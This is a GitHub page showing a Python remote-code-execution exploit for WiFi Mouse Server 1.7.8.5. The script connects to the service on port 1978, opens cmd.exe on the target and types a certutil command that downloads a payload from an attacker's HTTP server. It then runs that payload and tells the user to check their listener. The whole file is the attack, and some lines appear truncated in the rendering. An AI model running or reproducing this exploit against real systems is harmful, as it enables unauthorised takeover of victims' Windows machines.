

main ▾

...

[PenTesting](#) / [Exploits](#) / [wifi mouse](#) / [wifi-mouse-server-rce.py](#) / [Jump to ▾](#)

H4rk3nz0 Restructured Repo ...

[History](#)

1 contributor

73 lines (60 sloc) | 2.55 KB

...

```
1  #!/usr/bin/python
2  # Exploit: WiFi Mouse Server v1.7.8.5 - Remote Code Execution
3  # Author: H4rk3nz0
4  # Vendor: http://necta.us/
5  # Software Download: http://wifimouse.necta.us/#download
6  # Tested on: Windows Enterprise Build 17763
7  # Software has password option which does absolutely nothing to prevent command input
8  # This is despite initial connection response being 'needpassword'
9
10 from socket import socket, AF_INET, SOCK_STREAM
11 from time import sleep
12 import sys
13 import string
14
15 target = socket(AF_INET, SOCK_STREAM)
16 port = 1978
17
18 try:
19     rhost = sys.argv[1]
20     lhost = sys.argv[2]
21     payload = sys.argv[3]
22 except:
23     print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>")
24     exit()
25
26
27 characters={
28     "A":"41", "B":"42", "C":"43", "D":"44", "E":"45", "F":"46", "G":"47", "H":"48", "I":"49", "J":"4a",
29     "O":"4f", "P":"50", "Q":"51", "R":"52", "S":"53", "T":"54", "U":"55", "V":"56", "W":"57", "X":"58",
```

```

30     "a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a",
31     "o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78",
32     "1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
33     " ":"20","+":"2b","=":"3d", "/" : "2f", "_ ":"5f", "< ":"3c",
34     "> ":"3e", "[" : "5b", "]" : "5d", "!" : "21", "@" : "40", "#" : "23", "$" : "24", "%" : "25", "^" : "5e", "& ":"26",
35     "(" : "28", ")" : "29", "-" : "2d", "'" : "27", '"' : "22", ":" : "3a", ";" : "3b", "?" : "3f", "`" : "60", "~" : "7e",
36     "\\ ":"5c", "|" : "7c", "{" : "7b", "}" : "7d", "," : "2c", "." : "2e"}
37
38
39 def openCMD():
40     target.sendto("6f70656e66696c65202f432f57696e646f77732f53797374656d33322f636d642e6578650a"
41
42 def SendString(string):
43     for char in string:
44         target.sendto(("7574663820" + characters[char] + "0a").decode("hex"),(rhost,port))
45         sleep(0.03)
46
47 def SendReturn():
48     target.sendto("6b657920203352544e".decode("hex"),(rhost,port)) # 'key 3RTN' shamlessly cop
49     sleep(0.5)
50
51 def exploit():
52     print("[+] 3..2..1..")
53     sleep(2)
54     openCMD()
55     print("[+] *Super fast hacker typing*")
56     sleep(1)
57     SendString("certutil.exe -urlcache -f http://" + lhost + "/" + payload + " C:\\Windows\\Te
58     SendReturn()
59     print("[+] Retrieving payload")
60     sleep(3)
61     SendString("C:\\Windows\\Temp\\" + payload)
62     SendReturn()
63     print("[+] Done! Check Your Listener?")
64
65
66 def main():
67     target.connect((rhost,port))
68     exploit()
69     target.close()
70     exit()
71
72 if __name__=="__main__":
73     main()

```